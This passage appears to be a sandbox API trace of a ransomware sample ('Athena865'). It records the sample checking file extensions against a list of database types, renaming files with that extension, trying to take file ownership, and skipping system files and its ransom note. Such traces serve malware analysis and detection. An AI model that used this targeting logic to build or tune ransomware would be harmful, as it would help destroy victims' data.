(lpString="sqlitedb") returned 8 [0035.180] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.180] lstrlenW (lpString="xml") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.180] lstrlenW (lpString="$er") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.180] lstrlenW (lpString="4dd") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.180] lstrlenW (lpString="4dl") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.180] lstrlenW (lpString="^^^") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.180] lstrlenW (lpString="abs") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.180] lstrlenW (lpString="abx") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.180] lstrlenW (lpString="accdb") returned 5 [0035.180] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.181] lstrlenW (lpString="accdc") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.181] lstrlenW (lpString="accde") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.181] lstrlenW (lpString="accdr") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.181] lstrlenW (lpString="accdt") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.181] lstrlenW (lpString="accdw") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.181] lstrlenW (lpString="accft") returned 5 [0035.181] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.181] lstrlenW (lpString="adb") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.181] lstrlenW (lpString="adb") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.181] lstrlenW (lpString="ade") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.181] lstrlenW (lpString="adf") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.181] lstrlenW (lpString="adn") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.181] lstrlenW (lpString="adp") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.181] lstrlenW (lpString="alf") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.181] lstrlenW (lpString="ask") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.181] lstrlenW (lpString="btr") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.181] lstrlenW (lpString="cat") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.181] lstrlenW (lpString="cdb") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.181] lstrlenW (lpString="ckp") returned 3 [0035.181] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.181] lstrlenW (lpString="cma") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.182] lstrlenW (lpString="cpd") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.182] lstrlenW (lpString="dacpac") returned 6 [0035.182] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.182] lstrlenW (lpString="dad") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.182] lstrlenW (lpString="dadiagrams") returned 10 [0035.182] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.182] lstrlenW (lpString="daschema") returned 8 [0035.182] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.182] lstrlenW (lpString="db-journal") returned 10 [0035.182] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.182] lstrlenW (lpString="db-shm") returned 6 [0035.182] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.182] lstrlenW (lpString="db-wal") returned 6 [0035.182] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.182] lstrlenW (lpString="dbc") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.182] lstrlenW (lpString="dbs") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.182] lstrlenW (lpString="dbt") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.182] lstrlenW (lpString="dbv") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.182] lstrlenW (lpString="dbx") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.182] lstrlenW (lpString="dcb") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.182] lstrlenW (lpString="dct") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.182] lstrlenW (lpString="dcx") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.182] lstrlenW (lpString="ddl") returned 3 [0035.182] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.182] lstrlenW (lpString="dlis") returned 4 [0035.182] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.182] lstrlenW (lpString="dp1") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.183] lstrlenW (lpString="dqy") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.183] lstrlenW (lpString="dsk") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.183] lstrlenW (lpString="dsn") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.183] lstrlenW (lpString="dtsx") returned 4 [0035.183] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.183] lstrlenW (lpString="dxl") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.183] lstrlenW (lpString="eco") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.183] lstrlenW (lpString="ecx") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.183] lstrlenW (lpString="edb") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.183] lstrlenW (lpString="epim") returned 4 [0035.183] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.183] lstrlenW (lpString="fcd") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.183] lstrlenW (lpString="fdb") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.183] lstrlenW (lpString="fic") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.183] lstrlenW (lpString="flexolibrary") returned 12 [0035.183] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.183] lstrlenW (lpString="fm5") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.183] lstrlenW (lpString="fmp") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.183] lstrlenW (lpString="fmp12") returned 5 [0035.183] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.183] lstrlenW (lpString="fmpsl") returned 5 [0035.183] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.183] lstrlenW (lpString="fol") returned 3 [0035.183] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.184] lstrlenW (lpString="fp3") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.184] lstrlenW (lpString="fp4") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.184] lstrlenW (lpString="fp5") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.184] lstrlenW (lpString="fp7") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.184] lstrlenW (lpString="fpt") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.184] lstrlenW (lpString="frm") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.184] lstrlenW (lpString="gdb") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.184] lstrlenW (lpString="gdb") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.184] lstrlenW (lpString="grdb") returned 4 [0035.184] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.184] lstrlenW (lpString="gwi") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.184] lstrlenW (lpString="hdb") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.184] lstrlenW (lpString="his") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.184] lstrlenW (lpString="ib") returned 2 [0035.184] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.184] lstrlenW (lpString="idb") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.184] lstrlenW (lpString="ihx") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.184] lstrlenW (lpString="itdb") returned 4 [0035.184] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.184] lstrlenW (lpString="itw") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.184] lstrlenW (lpString="jet") returned 3 [0035.184] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.184] lstrlenW (lpString="jtx") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.185] lstrlenW (lpString="kdb") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.185] lstrlenW (lpString="kexi") returned 4 [0035.185] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.185] lstrlenW (lpString="kexic") returned 5 [0035.185] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.185] lstrlenW (lpString="kexis") returned 5 [0035.185] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.185] lstrlenW (lpString="lgc") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.185] lstrlenW (lpString="lwx") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.185] lstrlenW (lpString="maf") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.185] lstrlenW (lpString="maq") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.185] lstrlenW (lpString="mar") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.185] lstrlenW (lpString="marshal") returned 7 [0035.185] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.185] lstrlenW (lpString="mas") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.185] lstrlenW (lpString="mav") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.185] lstrlenW (lpString="maw") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.185] lstrlenW (lpString="mdbhtml") returned 7 [0035.185] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.185] lstrlenW (lpString="mdn") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.185] lstrlenW (lpString="mdt") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.185] lstrlenW (lpString="mfd") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.185] lstrlenW (lpString="mpd") returned 3 [0035.185] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.185] lstrlenW (lpString="mrg") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.186] lstrlenW (lpString="mud") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.186] lstrlenW (lpString="mwb") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.186] lstrlenW (lpString="myd") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.186] lstrlenW (lpString="ndf") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.186] lstrlenW (lpString="nnt") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.186] lstrlenW (lpString="nrmlib") returned 6 [0035.186] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.186] lstrlenW (lpString="ns2") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.186] lstrlenW (lpString="ns3") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.186] lstrlenW (lpString="ns4") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.186] lstrlenW (lpString="nsf") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.186] lstrlenW (lpString="nv") returned 2 [0035.186] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.186] lstrlenW (lpString="nv2") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.186] lstrlenW (lpString="nwdb") returned 4 [0035.186] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.186] lstrlenW (lpString="nyf") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.186] lstrlenW (lpString="odb") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.186] lstrlenW (lpString="odb") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.186] lstrlenW (lpString="oqy") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.186] lstrlenW (lpString="ora") returned 3 [0035.186] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.187] lstrlenW (lpString="orx") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.187] lstrlenW (lpString="owc") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.187] lstrlenW (lpString="p96") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.187] lstrlenW (lpString="p97") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.187] lstrlenW (lpString="pan") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.187] lstrlenW (lpString="pdb") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.187] lstrlenW (lpString="pdm") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.187] lstrlenW (lpString="pnz") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.187] lstrlenW (lpString="qry") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.187] lstrlenW (lpString="qvd") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.187] lstrlenW (lpString="rbf") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.187] lstrlenW (lpString="rctd") returned 4 [0035.187] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.187] lstrlenW (lpString="rod") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.187] lstrlenW (lpString="rodx") returned 4 [0035.187] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.187] lstrlenW (lpString="rpd") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.187] lstrlenW (lpString="rsd") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.187] lstrlenW (lpString="sas7bdat") returned 8 [0035.187] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.187] lstrlenW (lpString="sbf") returned 3 [0035.187] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.187] lstrlenW (lpString="scx") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.188] lstrlenW (lpString="sdb") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.188] lstrlenW (lpString="sdc") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.188] lstrlenW (lpString="sdf") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.188] lstrlenW (lpString="sis") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.188] lstrlenW (lpString="spq") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.188] lstrlenW (lpString="te") returned 2 [0035.188] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.188] lstrlenW (lpString="teacher") returned 7 [0035.188] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.188] lstrlenW (lpString="tmd") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.188] lstrlenW (lpString="tps") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.188] lstrlenW (lpString="trc") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.188] lstrlenW (lpString="trc") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.188] lstrlenW (lpString="trm") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.188] lstrlenW (lpString="udb") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.188] lstrlenW (lpString="udl") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.188] lstrlenW (lpString="usr") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.188] lstrlenW (lpString="v12") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.188] lstrlenW (lpString="vis") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.188] lstrlenW (lpString="vpd") returned 3 [0035.188] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.188] lstrlenW (lpString="vvv") returned 3 [0035.189] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.189] lstrlenW (lpString="wdb") returned 3 [0035.189] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.189] lstrlenW (lpString="wmdb") returned 4 [0035.189] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.189] lstrlenW (lpString="wrk") returned 3 [0035.189] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.189] lstrlenW (lpString="xdb") returned 3 [0035.189] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.189] lstrlenW (lpString="xld") returned 3 [0035.189] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.189] lstrlenW (lpString="xmlff") returned 5 [0035.189] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.189] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.189] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.189] GetLastError () returned 0x5 [0035.189] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.189] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.189] SetEntriesInAclW () returned 0x0 [0035.189] SetNamedSecurityInfoW () returned 0x5 [0035.189] SetNamedSecurityInfoW () returned 0x5 [0035.189] LocalFree (hMem=0x529490) returned 0x0 [0035.189] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.189] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.190] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x706 [0035.190] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.190] CloseHandle (hObject=0x154) returned 1 [0035.194] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.194] CloseHandle (hObject=0x0) returned 0 [0035.194] CloseHandle (hObject=0x0) returned 0 [0035.194] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7697dec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7697dec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe27e1a90, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x5de8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{7381D~1")) returned 1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.194] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.195] lstrlenW (lpString="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.195] lstrcpyW (in: lpString1=0x241e882, lpString2="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.195] lstrlenW (lpString="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.195] lstrlenW (lpString="Athena865") returned 9 [0035.195] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.195] lstrlenW (lpString=".dll") returned 4 [0035.195] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.195] lstrlenW (lpString=".lnk") returned 4 [0035.195] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.195] lstrlenW (lpString=".ini") returned 4 [0035.195] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.195] lstrlenW (lpString=".sys") returned 4 [0035.195] lstrcmpiW (lpString1="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.195] lstrlenW (lpString="{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.195] lstrlenW (lpString="bak") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.195] lstrlenW (lpString="ba_") returned 3 